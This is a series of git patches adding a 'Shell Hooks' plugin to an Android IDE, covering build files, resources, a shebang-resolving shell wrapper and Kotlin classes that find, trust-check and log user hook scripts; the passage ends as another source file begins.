From 893b68b469057e987f453b72e2dea0fc1cf191f1 Mon Sep 17 00:00:00 2001 From: David Schachter Date: Wed, 11 Nov 2026 12:13:04 -0800 Subject: [PATCH 01/24] ADFA-3570 | Add the Shell Hooks plugin skeleton Build files, manifest, colors, dimens and icons, following Random-XKCD. Builds with the shared root wrapper, so no per-plugin gradlew. min_ide_version 26.47: the project and file-save listeners first ship there. Permissions: system.commands and filesystem.read. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01Vh2DAZWMkFWJh7CY7P4kCH --- plugins/Shell-Hooks/.gitignore | 29 ++++++ plugins/Shell-Hooks/addon.json | 16 ++++ plugins/Shell-Hooks/build.gradle.kts | 84 ++++++++++++++++++ plugins/Shell-Hooks/gradle.properties | 4 + plugins/Shell-Hooks/proguard-rules.pro | 5 ++ plugins/Shell-Hooks/settings.gradle.kts | 30 +++++++ .../Shell-Hooks/src/main/AndroidManifest.xml | 64 +++++++++++++ .../Shell-Hooks/src/main/assets/icon_day.png | Bin 0 -> 1523 bytes .../src/main/assets/icon_night.png | Bin 0 -> 1525 bytes .../src/main/res/drawable/ic_arrow_back.xml | 14 +++ .../src/main/res/values-night/colors.xml | 23 +++++ .../src/main/res/values/colors.xml | 27 ++++++ .../src/main/res/values/dimens.xml | 18 ++++ .../src/main/res/values/strings.xml | 4 + .../src/main/res/values/styles.xml | 9 ++ 15 files changed, 327 insertions(+) create mode 100644 plugins/Shell-Hooks/.gitignore create mode 100644 plugins/Shell-Hooks/addon.json create mode 100644 plugins/Shell-Hooks/build.gradle.kts create mode 100644 plugins/Shell-Hooks/gradle.properties create mode 100644 plugins/Shell-Hooks/proguard-rules.pro create mode 100644 plugins/Shell-Hooks/settings.gradle.kts create mode 100644 plugins/Shell-Hooks/src/main/AndroidManifest.xml create mode 100644 plugins/Shell-Hooks/src/main/assets/icon_day.png create mode 100644 plugins/Shell-Hooks/src/main/assets/icon_night.png create mode 100644 plugins/Shell-Hooks/src/main/res/drawable/ic_arrow_back.xml create mode 100644 plugins/Shell-Hooks/src/main/res/values-night/colors.xml create mode 100644 plugins/Shell-Hooks/src/main/res/values/colors.xml create mode 100644 plugins/Shell-Hooks/src/main/res/values/dimens.xml create mode 100644 plugins/Shell-Hooks/src/main/res/values/strings.xml create mode 100644 plugins/Shell-Hooks/src/main/res/values/styles.xml diff --git a/plugins/Shell-Hooks/.gitignore b/plugins/Shell-Hooks/.gitignore new file mode 100644 index 000000000..6af499b76 --- /dev/null +++ b/plugins/Shell-Hooks/.gitignore @@ -0,0 +1,29 @@ +# Gradle +.gradle/ +build/ +gradle-app.setting +!gradle-wrapper.jar +.gradletasknamecache + +# IDE +.idea/ +*.iml +*.ipr +*.iws +.project +.classpath +.settings/ +.kotlin/ + +# Local configuration +local.properties + +# OS +.DS_Store +Thumbs.db + +# Logs +*.log + +# Test outputs +test-results/ diff --git a/plugins/Shell-Hooks/addon.json b/plugins/Shell-Hooks/addon.json new file mode 100644 index 000000000..a2d0fb1ae --- /dev/null +++ b/plugins/Shell-Hooks/addon.json @@ -0,0 +1,16 @@ +{ + "summary": "Runs your shell scripts when the IDE opens a project, saves a file, or finishes a build.", + "description": "Hooks Code on the Go into the workflows you already script. Put an executable script in a hooks folder and it runs when a project opens or closes, a file is opened, saved or closed, or a build starts, succeeds or fails, with the file or project passed in $1. Scripts kept in a project run only after you review and trust them. Off until you turn it on.", + "tags": [ + "shell", + "automation", + "scripts", + "hooks" + ], + "origin": "appdevforall", + "license": "AGPL-3.0-or-later", + "author": { + "name": "App Dev For All", + "url": "https://www.appdevforall.org" + } +} diff --git a/plugins/Shell-Hooks/build.gradle.kts b/plugins/Shell-Hooks/build.gradle.kts new file mode 100644 index 000000000..8b1717a15 --- /dev/null +++ b/plugins/Shell-Hooks/build.gradle.kts @@ -0,0 +1,84 @@ +import org.jetbrains.kotlin.gradle.dsl.JvmTarget + +plugins { + id("com.android.application") + id("com.itsaky.androidide.plugins.build") +} + +pluginBuilder { + pluginName = "shell-hooks" +} + +android { + namespace = "org.appdevforall.shellhooks" + compileSdk = 36 + + defaultConfig { + applicationId = "org.appdevforall.shellhooks" + minSdk = 26 + targetSdk = 36 + versionCode = 1 + versionName = "1.0.0" + } + + buildTypes { + release { + isMinifyEnabled = false + proguardFiles(getDefaultProguardFile("proguard-android-optimize.txt"), "proguard-rules.pro") + } + } + + compileOptions { + sourceCompatibility = JavaVersion.VERSION_17 + targetCompatibility = JavaVersion.VERSION_17 + } + + packaging { + resources { + excludes += setOf( + "META-INF/versions/9/OSGI-INF/MANIFEST.MF", + "META-INF/DEPENDENCIES", + "META-INF/LICENSE", + "META-INF/LICENSE.txt", + "META-INF/NOTICE", + "META-INF/NOTICE.txt" + ) + } + } + + testOptions { + unitTests.isReturnDefaultValues = true + } +} + +kotlin { + compilerOptions { + jvmTarget.set(JvmTarget.JVM_17) + } +} + +dependencies { + // The plugin-api jar is the canonical contract for plugins. Available + // at compile time; the IDE provides it at runtime. + compileOnly(files("../../libs/plugin-api.jar")) + + implementation("androidx.appcompat:appcompat:1.6.1") + implementation("com.google.android.material:material:1.10.0") + implementation("androidx.fragment:fragment-ktx:1.8.8") + implementation("androidx.core:core-ktx:1.13.1") + implementation("org.jetbrains.kotlin:kotlin-stdlib:2.3.21") + implementation("org.jetbrains.kotlinx:kotlinx-coroutines-android:1.8.1") + + testImplementation(files("../../libs/plugin-api.jar")) + testImplementation("junit:junit:4.13.2") + testImplementation("org.jetbrains.kotlinx:kotlinx-coroutines-test:1.8.1") +} + +// Disable AAR metadata checks that fail under the plugin-builder +// pipeline (Voice Alerts + Forms use the same workaround). +tasks.matching { + it.name.contains("checkDebugAarMetadata") || + it.name.contains("checkReleaseAarMetadata") +}.configureEach { + enabled = false +} diff --git a/plugins/Shell-Hooks/gradle.properties b/plugins/Shell-Hooks/gradle.properties new file mode 100644 index 000000000..9ba444118 --- /dev/null +++ b/plugins/Shell-Hooks/gradle.properties @@ -0,0 +1,4 @@ +android.useAndroidX=true +android.nonTransitiveRClass=true +kotlin.code.style=official +org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8 diff --git a/plugins/Shell-Hooks/proguard-rules.pro b/plugins/Shell-Hooks/proguard-rules.pro new file mode 100644 index 000000000..331df750b --- /dev/null +++ b/plugins/Shell-Hooks/proguard-rules.pro @@ -0,0 +1,5 @@ +# Add project specific ProGuard rules here. + +# Keep plugin classes — the IDE loads them by reflection via plugin.main_class, +# and the settings fragment by name from PluginSettingsEntry.fragmentClassName. +-keep class org.appdevforall.shellhooks.** { *; } diff --git a/plugins/Shell-Hooks/settings.gradle.kts b/plugins/Shell-Hooks/settings.gradle.kts new file mode 100644 index 000000000..349fb9792 --- /dev/null +++ b/plugins/Shell-Hooks/settings.gradle.kts @@ -0,0 +1,30 @@ +pluginManagement { + repositories { + google() + mavenCentral() + gradlePluginPortal() + } +} + +buildscript { + repositories { + google() + mavenCentral() + } + dependencies { + classpath(files("../../libs/plugin-api.jar")) + classpath(files("../../libs/gradle-plugin.jar")) + classpath("com.android.tools.build:gradle:9.3.1") + classpath("org.jetbrains.kotlin:kotlin-gradle-plugin:2.3.21") + } +} + +dependencyResolutionManagement { + repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS) + repositories { + google() + mavenCentral() + } +} + +rootProject.name = "shell-hooks" diff --git a/plugins/Shell-Hooks/src/main/AndroidManifest.xml b/plugins/Shell-Hooks/src/main/AndroidManifest.xml new file mode 100644 index 000000000..99e099d04 --- /dev/null +++ b/plugins/Shell-Hooks/src/main/AndroidManifest.xml @@ -0,0 +1,64 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plugins/Shell-Hooks/src/main/assets/icon_day.png b/plugins/Shell-Hooks/src/main/assets/icon_day.png new file mode 100644 index 0000000000000000000000000000000000000000..f9a4762fd80416f83697369826d45a9e7ee1fce0 GIT binary patch literal 1523 zcmb7Ec|6o<7=M2=qZu+XD>-7wSXZjqCXu5VHI*YoTT)~aM%W}rLSx8Tvq?H+V_HW( zigAoxv@*YJO2x*mBgZ-#R3xUEj2bicXRm+vv+w75-}n2x&-MQCeV(j+?tAbmx+(ww zyt5PC3%TLtjaz}7UPIwn0F>@K(;dH#yEXHBN2H$h>Rn^j8=pL!NQJfYI0fuJci27s zD{`uj1tD}@Ojb|60!?H~Pray*F0a_w=YZ!pT?|Gt{ka$i>$_G}zZT7iqa+mgiF{(s z>9AwO3pLYO>aCqvhU5_E!m+l9XLB{BXK;Q=l=N(Vd|Ky(^|1xB9@|vvVa4+fZR%9r zu*Yven`&P-8!OhFU7sUUh8Mc7NSl4pjKwz(qnIZlGD|Z4gY^x>arfLyzZk$V zAoaYj`qT%p+wP)9XR>jjv4`}4aF20mf~5*uL@K)Cr|5s>$R;H%iI*al-U*VHrWATN z1QqRr23Cdmq{^+S>qj;|v+wzaN11A#L;{7?TlIX8vvaFu&(4%PbX1jq+f4L(O|4ZBm zu>9jU5|UxL1hN#GqOLmW!|@V2``)iBs;y#;U`=zhjqWzWXhk%1OJ6Gg_^tXWvmTEu zOC5>)V+YY-7GG$Reve8odNR_`D`qD4xM=753YJY35gn&xXYa@aJ}IC*lkuWW#?R<_!8HODBih;%C~}xaasaN9XWq}F20ulS zWdx|q(P6eGSWn>70@l#yT;Dnjgw>TU6?RFJ_>Z7GLUP6cuD1D;RymqXO4-#hSQq`s zN|-%2Z|y3nR8K&D`QD$rU)Gydb$oa&bKY7pF!M$$@UwZ&aKtQ!5U3q8TfZcq__0we z@xEQvpw`-WI6P}UalaB{H>M%@?)uLB57*3I9SG?j^q*9zyOXF(|0$H7P}tgyRCdI8 z77A~^Me3p^MwZ&Txlr#_sz%;Nxv%<(h1zA!1I1?*bG9f*UZ(I4xiL8`N|&y$7*;ma zVe1eq?RR9_E-FFcA(3fMbz5HTRqw(Ib_1*pe)4g~D0<4^(lr9?LBE{^nhjA7nCcd} z-%7}SOb05Xg=4Cdb7^Skongu+0<6Z{Bqp)(9Dg)o-p1m2)(~Ko2-XJ7oYII!Nd{mA zEau~2Z9%QM;$)}S;u5%wXV-6Ur&rN91}hs8f;V452z=bl1U$}W8lxDCFE^h<=$>## zjV%(kUG>K@7Hq=qYaq&na>UvYnvcY|>?I)NM~Fjabvx-Ju(A$;aZb`0pfFt%=b{NB z&c(S#DFrNstZP*!ix()14)h#F!r7HcD6&FSYtPJ@gW}Y#i*7uhZ(<_UXlFKX1V?*c z59b;I{(XqTqV{u>Hn@S{pq-btupZ@F0KWJ4Va~>aCpKv$H2P; z55JSvP*}d#YyscDn7L>cY4=$vJA%t~Akv*DsV?mcMU8@?t!D}qm^L$EX8VWjQX)#* zcrdTlVb%vj-gn(I=f-xI=-bg36ZhHU!gSW4H)DxEhoJBa8kZkunXFSrVOnz}wJ> zhOx36r+|_JSlFDM6Doau8l?^)!>C|TGZWXD+c)e>MXN*cb3->}84M$u>#!`;_8_ap zxT!9_W~==8K6i9nNMrG&Kh_Y{9rA$76OOy2^5Y-aWHc2hLr3CAw9}7z;Gm11-VpF literal 0 HcmV?d00001 diff --git a/plugins/Shell-Hooks/src/main/assets/icon_night.png b/plugins/Shell-Hooks/src/main/assets/icon_night.png new file mode 100644 index 0000000000000000000000000000000000000000..7c5544e6bce62bc0e5ce33c585fb55119825582a GIT binary patch literal 1525 zcmb7EeKeF=7{4>d7@so}iI|45MNuYJ3S-b<7>yz%%A1drzUV~4nR(I4bg~WNNQ91w zYGVo|t&evJyTvNXSNU3^q~j}QFvh-i+y8g(`Q3Ye&wcLm{PlZ&SNC&W)m1jC007k8 z*eoyfM%Fd~kDgv1PAdVRSmVZWJQ$nzwZH8QWe>@DxC5Gv($a7wn<$?O(Wyw!*pE|j zJYYg=Z#XNxv$7;K%kZfg575BJghYDYIQK)qakSIl3-TovQK9y1@gVOy4=u-7vo0(BQ5MF z%ctbgz@YpAh+Q^Hx<%1eLZoE3&zr7cA(`M_X!h#USklmMeCAR4QurX>?jryCt03R8 zufmOzEA_s54O!>1hgPw7axF*dXQwVb(*o!Cna^z|ZV}2RGc`d6R|$Dfz3V$Ea`4tXKm{CC~)3`VtQ+ ztV=domAe+p)gBega*&5p<4Nqs>=iUhSa)+?FHAH;O}D{lPZ%fq=XM%QOiQ@nchD+; zhRIHEhs_Dl-fN~FT_o-BB!Ruu3cDLQNw>DgQTMM#K1>BXBkVq0WHR9!2~m+;+>VP( z3CHDOACnP07psnYluQ_N1-8%XT7_U2ou`hb$EDRSO)kK+X7LFLQLi&*6EU)8sTCRC z$qVzA^%vfi&Ve*_xXQkjC3Z-qs#c?dKkKH5NFQ&}L^aM>hoSRM=h&mNXLzIXjtYG# zR-h;3S@kQULDNAr8)&r;9gfY#1bC+C;1XIMA<{spZy!qSM9VgSFHp?)QbYo%108{h zI?TiDC~T{pT#ZjWAX+^-&`FyX2XU|tlLrWyT2oe`-Zld?i;LB1|i$SmA|-o-)oi3r#!l(1N5# zms#dcfqM(ySn@L2RM@|4COobyzMQ$*r-cc<5zX>1h$mvyGR}DP=1a`5Iwr5~mD`11 z)f&`bROGZ|VT^%@{NF&qPcP0ay&iFdwXZL{QU)h+|DpstluWmf0NS?Ruo-0soIrFz=;LQVbHG{Ij#>hdj}o#K zPLGg`pU09gF4H}?->(-CUf<{*2xKadFl$b=oC47tI0MTOHeKdH^(&_rzwCAWdBdsB zRrQxA!J5a(z5o`y5jDN&yuhoGzTyqzX;qen5NArS@%0yFLulv31N|``S1pc~V6QI+ j@q*w@{3X_K)7p!hGnZB71SS0iQ?89K literal 0 HcmV?d00001 diff --git a/plugins/Shell-Hooks/src/main/res/drawable/ic_arrow_back.xml b/plugins/Shell-Hooks/src/main/res/drawable/ic_arrow_back.xml new file mode 100644 index 000000000..1f9e3701a --- /dev/null +++ b/plugins/Shell-Hooks/src/main/res/drawable/ic_arrow_back.xml @@ -0,0 +1,14 @@ + + + + + + + diff --git a/plugins/Shell-Hooks/src/main/res/values-night/colors.xml b/plugins/Shell-Hooks/src/main/res/values-night/colors.xml new file mode 100644 index 000000000..e832ad1f1 --- /dev/null +++ b/plugins/Shell-Hooks/src/main/res/values-night/colors.xml @@ -0,0 +1,23 @@ + + + + #B1C5FF + #172E60 + #304578 + #DAE2FF + + #0A0A0A + #FAFAFA + #171717 + #A3A3A3 + + #525252 + #262626 + + #FCA5A5 + #86EFAC + #FCD34D + + #A3A3A3 + diff --git a/plugins/Shell-Hooks/src/main/res/values/colors.xml b/plugins/Shell-Hooks/src/main/res/values/colors.xml new file mode 100644 index 000000000..1c5c535dd --- /dev/null +++ b/plugins/Shell-Hooks/src/main/res/values/colors.xml @@ -0,0 +1,27 @@ + + + + #485D92 + #FFFFFF + #DAE2FF + #001847 + + #FAFAF9 + #0A0A0A + #F5F5F4 + #525252 + + #A3A3A3 + #E5E5E5 + + #B91C1C + #15803D + #B45309 + + #737373 + diff --git a/plugins/Shell-Hooks/src/main/res/values/dimens.xml b/plugins/Shell-Hooks/src/main/res/values/dimens.xml new file mode 100644 index 000000000..1dd6bec45 --- /dev/null +++ b/plugins/Shell-Hooks/src/main/res/values/dimens.xml @@ -0,0 +1,18 @@ + + + + 48dp + 40dp + 8dp + 18sp + + 4dp + 8dp + 12dp + 16dp + + 13sp + 15sp + 12sp + 48dp + diff --git a/plugins/Shell-Hooks/src/main/res/values/strings.xml b/plugins/Shell-Hooks/src/main/res/values/strings.xml new file mode 100644 index 000000000..0f2a6c019 --- /dev/null +++ b/plugins/Shell-Hooks/src/main/res/values/strings.xml @@ -0,0 +1,4 @@ + + + Shell Hooks + diff --git a/plugins/Shell-Hooks/src/main/res/values/styles.xml b/plugins/Shell-Hooks/src/main/res/values/styles.xml new file mode 100644 index 000000000..17bb8c55e --- /dev/null +++ b/plugins/Shell-Hooks/src/main/res/values/styles.xml @@ -0,0 +1,9 @@ + + + + From dde8a08e8999a0b59651e1fcc961614a704770d1 Mon Sep 17 00:00:00 2001 From: David Schachter Date: Wed, 11 Nov 2026 12:19:26 -0800 Subject: [PATCH 02/24] ADFA-3570 | Shell Hooks engine: find, trust and run hook scripts - Hook catalog and the $* each hook passes. - Discovery, git-hooks style: then .d/* in byte order; executable files only; samples, dotfiles and backups skipped. - TrustStore: a project's own hooks run only after the user trusts that exact content (project + path + SHA-256). A trusted script runs from a private copy of the trusted bytes, so it cannot change between the check and the run. - HookRunner: one script at a time from a bounded queue that drops the oldest event, with a per-script timeout. Values travel as argv, never through a shell string. - cogo-hook-run.sh maps a shebang onto $PREFIX/bin as termux-exec would, since the IDE's command service does not preload it. - ShellQuote for the Terminal, which takes a command line. Tests cover each of these; the wrapper runs under every POSIX shell on the machine (dash, bash, busybox ash; not mksh). Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01Vh2DAZWMkFWJh7CY7P4kCH --- .../src/main/assets/cogo-hook-run.sh | 61 ++++ .../appdevforall/shellhooks/engine/Hook.kt | 70 +++++ .../appdevforall/shellhooks/engine/HookLog.kt | 105 +++++++ .../shellhooks/engine/HookPaths.kt | 66 +++++ .../shellhooks/engine/HookResolver.kt | 101 +++++++ .../shellhooks/engine/HookRunner.kt | 216 ++++++++++++++ .../shellhooks/engine/ShellQuote.kt | 32 +++ .../shellhooks/engine/TrustStore.kt | 93 ++++++ .../shellhooks/engine/HookDiscoveryTest.kt | 74 +++++ .../shellhooks/engine/HookInvocationTest.kt | 86 ++++++ .../shellhooks/engine/HookResolverTest.kt | 125 ++++++++ .../shellhooks/engine/HookRunnerTest.kt | 267 ++++++++++++++++++ .../shellhooks/engine/ShellQuoteTest.kt | 56 ++++ .../shellhooks/engine/TestSupport.kt | 47 +++ .../shellhooks/engine/TrustStoreTest.kt | 88 ++++++ .../shellhooks/engine/WrapperScriptTest.kt | 150 ++++++++++ 16 files changed, 1637 insertions(+) create mode 100644 plugins/Shell-Hooks/src/main/assets/cogo-hook-run.sh create mode 100644 plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/Hook.kt create mode 100644 plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/HookLog.kt create mode 100644 plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/HookPaths.kt create mode 100644 plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/HookResolver.kt create mode 100644 plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/HookRunner.kt create mode 100644 plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/ShellQuote.kt create mode 100644 plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/TrustStore.kt create mode 100644 plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/HookDiscoveryTest.kt create mode 100644 plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/HookInvocationTest.kt create mode 100644 plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/HookResolverTest.kt create mode 100644 plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/HookRunnerTest.kt create mode 100644 plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/ShellQuoteTest.kt create mode 100644 plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/TestSupport.kt create mode 100644 plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/TrustStoreTest.kt create mode 100644 plugins/Shell-Hooks/src/test/kotlin/org/appdevforall/shellhooks/engine/WrapperScriptTest.kt diff --git a/plugins/Shell-Hooks/src/main/assets/cogo-hook-run.sh b/plugins/Shell-Hooks/src/main/assets/cogo-hook-run.sh new file mode 100644 index 000000000..b00730a5d --- /dev/null +++ b/plugins/Shell-Hooks/src/main/assets/cogo-hook-run.sh @@ -0,0 +1,61 @@ +# Shell Hooks runner. Usage: sh cogo-hook-run.sh SCRIPT [ARG...] +# +# Runs SCRIPT with its arguments untouched. Android has no /usr/bin/env or /bin/bash, and the +# IDE's command service does not preload termux-exec, so the interpreter a shebang names is +# looked up in $PREFIX/bin, as termux-exec would do. POSIX sh only: this runs under Android's +# /system/bin/sh, not bash. + +script=$1 +shift + +# The event's project, which for project-closed the IDE no longer has open. +if [ -n "${COGO_PROJECT_DIR:-}" ] && [ -d "$COGO_PROJECT_DIR" ]; then + cd "$COGO_PROJECT_DIR" || exit 126 +fi + +first= +IFS= read -r first < "$script" || : +cr=$(printf '\r') +first=${first%"$cr"} + +trim() { + value=$1 + while :; do + case $value in + [' ']*) value=${value#?} ;; + *[' ']) value=${value%?} ;; + *) break ;; + esac + done + printf '%s' "$value" +} + +case $first in +'#!'*) + line=$(trim "${first#??}") + interp=${line%%[' ']*} + arg=$(trim "${line#"$interp"}") + if [ "${interp##*/}" = env ]; then + interp=${arg%%[' ']*} + arg=$(trim "${arg#"$interp"}") + fi + name=${interp##*/} + if [ -n "$name" ] && [ -n "${PREFIX:-}" ] && [ -f "$PREFIX/bin/$name" ] && [ -x "$PREFIX/bin/$name" ]; then + if [ -n "$arg" ]; then + exec "$PREFIX/bin/$name" "$arg" "$script" "$@" + fi + exec "$PREFIX/bin/$name" "$script" "$@" + fi + # Not a Termux program: let the kernel read the shebang, e.g. #!/system/bin/sh. + exec "$script" "$@" + ;; +"$(printf '\177')ELF"*) + exec "$script" "$@" + ;; +esac + +# No shebang: a shell script, as a terminal user would expect. +if [ -n "${PREFIX:-}" ] && [ -f "$PREFIX/bin/bash" ] && [ -x "$PREFIX/bin/bash" ]; then + exec "$PREFIX/bin/bash" "$script" "$@" +fi +exec sh "$script" "$@" diff --git a/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/Hook.kt b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/Hook.kt new file mode 100644 index 000000000..db8acba55 --- /dev/null +++ b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/Hook.kt @@ -0,0 +1,70 @@ +package org.appdevforall.shellhooks.engine + +import java.io.File + +/** + * The moments a script can hook. [id] is the script's file name in a hooks folder, so it never + * changes once shipped. [argsDoc] says what arrives in `$*`, for the samples and the settings + * screen. + */ +enum class Hook( + val id: String, + val title: String, + val argsDoc: String, +) { + IDE_STARTED("ide-started", "IDE started", "no arguments"), + PROJECT_OPENED("project-opened", "Project opened", "\$1 = the project folder"), + PROJECT_CLOSED("project-closed", "Project closed", "\$1 = the project folder"), + FILE_OPENED("file-opened", "File opened", "\$1 = the file"), + FILE_CLOSED("file-closed", "File closed", "\$1 = the file"), + FILE_ACTIVATED("file-activated", "Switched to a file", "\$1 = the file, or empty when no file is open"), + FILE_SAVED("file-saved", "File saved", "\$1 = the file"), + BUILD_STARTED("build-started", "Build started", "no arguments"), + BUILD_SUCCEEDED("build-succeeded", "Build succeeded", "no arguments"), + BUILD_FAILED("build-failed", "Build failed", "\$1 = the error, or \"cancelled\""), + ; + + companion object { + fun fromId(id: String): Hook? = entries.firstOrNull { it.id == id } + } +} + +/** + * One moment to report: which [hook], the positional arguments its scripts get, and the + * project it concerns ([projectDir], null when none is open). + */ +data class HookEvent( + val hook: Hook, + val args: List, + val projectDir: File?, +) { + /** A short label for the run log: the file or project the event is about, if any. */ + val target: String? get() = args.firstOrNull()?.takeIf { it.isNotEmpty() } + + companion object { + const val BUILD_CANCELLED = "cancelled" + + fun ideStarted(projectDir: File?) = HookEvent(Hook.IDE_STARTED, emptyList(), projectDir) + + fun projectOpened(projectDir: File) = HookEvent(Hook.PROJECT_OPENED, listOf(projectDir.path), projectDir) + + fun projectClosed(projectDir: File) = HookEvent(Hook.PROJECT_CLOSED, listOf(projectDir.path), projectDir) + + fun fileOpened(file: File, projectDir: File?) = HookEvent(Hook.FILE_OPENED, listOf(file.path), projectDir) + + fun fileClosed(file: File, projectDir: File?) = HookEvent(Hook.FILE_CLOSED, listOf(file.path), projectDir) + + // Always one argument, so a script can test "$1" without checking $# first. + fun fileActivated(file: File?, projectDir: File?) = + HookEvent(Hook.FILE_ACTIVATED, listOf(file?.path ?: ""), projectDir) + + fun fileSaved(file: File, projectDir: File?) = HookEvent(Hook.FILE_SAVED, listOf(file.path), projectDir) + + fun buildStarted(projectDir: File?) = HookEvent(Hook.BUILD_STARTED, emptyList(), projectDir) + + fun buildSucceeded(projectDir: File?) = HookEvent(Hook.BUILD_SUCCEEDED, emptyList(), projectDir) + + fun buildFailed(error: String?, projectDir: File?) = + HookEvent(Hook.BUILD_FAILED, listOf(error ?: BUILD_CANCELLED), projectDir) + } +} diff --git a/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/HookLog.kt b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/HookLog.kt new file mode 100644 index 000000000..87b9020a4 --- /dev/null +++ b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/HookLog.kt @@ -0,0 +1,105 @@ +package org.appdevforall.shellhooks.engine + +import kotlinx.coroutines.flow.MutableStateFlow +import kotlinx.coroutines.flow.StateFlow +import kotlinx.coroutines.flow.asStateFlow +import kotlinx.coroutines.flow.update +import java.io.File + +enum class ScriptSource( + val id: String, +) { + GLOBAL("global"), + PROJECT("project"), +} + +enum class Outcome { + SUCCEEDED, + FAILED, + TIMED_OUT, + CANCELLED, + + /** The command never started: no command service, a refused start, or a missing wrapper. */ + NOT_STARTED, +} + +/** One script's run, as the Hooks tab shows it. [output] is stdout then stderr, tail-capped. */ +data class HookRun( + val startedAtMillis: Long, + val hook: Hook, + val script: File, + val source: ScriptSource, + val target: String?, + val outcome: Outcome, + val exitCode: Int?, + val durationMillis: Long, + val output: String, +) + +/** A project hook that was skipped because the user has not trusted this content of it. */ +data class PendingTrust( + val projectDir: File, + val relativePath: String, + val file: File, + val sha256: String, +) + +/** The recent runs and the project hooks awaiting review, observed by the Hooks tab. */ +class HookLog( + private val capacity: Int = DEFAULT_CAPACITY, +) { + private val _runs = MutableStateFlow>(emptyList()) + private val _pending = MutableStateFlow>(emptyList()) + + /** Newest first. */ + val runs: StateFlow> = _runs.asStateFlow() + val pending: StateFlow> = _pending.asStateFlow() + + fun record(run: HookRun) { + _runs.update { (listOf(run) + it).take(capacity) } + } + + /** Lists [entry] for review once; a later sighting of the same script replaces it. */ + fun addPending(entry: PendingTrust) { + _pending.update { list -> list.filterNot { it.sameScript(entry) } + entry } + } + + fun removePending( + projectDir: File, + relativePath: String, + ) { + _pending.update { list -> list.filterNot { it.projectDir == projectDir && it.relativePath == relativePath } } + } + + fun clearRuns() { + _runs.value = emptyList() + } + + private fun PendingTrust.sameScript(other: PendingTrust) = + projectDir == other.projectDir && relativePath == other.relativePath + + companion object { + const val DEFAULT_CAPACITY = 100 + + /** The most of one run's output kept: the end, where errors are. */ + const val MAX_OUTPUT_CHARS = 64 * 1024 + + fun combineOutput( + stdout: String, + stderr: String, + ): String { + val combined = + when { + stderr.isBlank() -> stdout + stdout.isBlank() -> stderr + else -> stdout.trimEnd() + "\n" + stderr + } + return capTail(combined, MAX_OUTPUT_CHARS) + } + + fun capTail( + text: String, + max: Int, + ): String = if (text.length <= max) text else "[...]\n" + text.takeLast(max) + } +} diff --git a/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/HookPaths.kt b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/HookPaths.kt new file mode 100644 index 000000000..dae677aea --- /dev/null +++ b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/HookPaths.kt @@ -0,0 +1,66 @@ +package org.appdevforall.shellhooks.engine + +import java.io.File + +/** + * Where hooks live. [appFilesDir] is the IDE's files directory, the root its command service + * gives every process: `HOME` is `/home` and `PREFIX` is `/usr`, the + * same folders the Terminal uses, so `~/.config/codeonthego/hooks` here is the one a user edits + * there. + */ +class HookPaths( + appFilesDir: File, +) { + val home = File(appFilesDir, "home") + val prefix = File(appFilesDir, "usr") + + /** The user's own hooks: `~/.config/codeonthego/hooks`. */ + val globalHooks = File(home, ".config/codeonthego/hooks") + + /** Scripts offered as "Run " on a file's menu. */ + val actions = File(globalHooks, ACTIONS_DIR) + + companion object { + const val ACTIONS_DIR = "actions" + const val PROJECT_HOOKS = ".codeonthego/hooks" + + /** A project's own hooks, which run only once trusted. */ + fun projectHooks(projectDir: File) = File(projectDir, PROJECT_HOOKS) + } +} + +/** Finds the scripts a hook runs, git-hooks style. */ +object HookDiscovery { + const val SAMPLE_SUFFIX = ".sample" + + /** + * The scripts in [root] for [hookId]: the file ``, then every script in + * `.d/` in byte order of their names (as `LC_ALL=C ls` sorts them). + */ + fun discover( + root: File, + hookId: String, + ): List { + val scripts = mutableListOf() + File(root, hookId).takeIf(::isRunnable)?.let(scripts::add) + File(root, "$hookId.d").listFiles() + ?.filter(::isRunnable) + ?.sortedBy { it.name } + ?.let(scripts::addAll) + return scripts + } + + /** The actions offered on a file's menu, sorted by name. */ + fun actions(actionsDir: File): List = + actionsDir.listFiles()?.filter(::isRunnable)?.sortedBy { it.name }.orEmpty() + + /** + * A regular file with its executable bit set. Samples, dotfiles (editor swap files) and + * `name~` backups are skipped, so editing a hook in place never runs a half-written copy. + */ + fun isRunnable(file: File): Boolean { + val name = file.name + if (name.startsWith(".") || name.endsWith("~") || name.endsWith(SAMPLE_SUFFIX)) return false + return file.isFile && file.canExecute() + } +} diff --git a/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/HookResolver.kt b/plugins/Shell-Hooks/src/main/kotlin/org/appdevforall/shellhooks/engine/HookResolver.kt new file mode 100644 index 000000000..e2ae41d20 --- /dev/null +++ 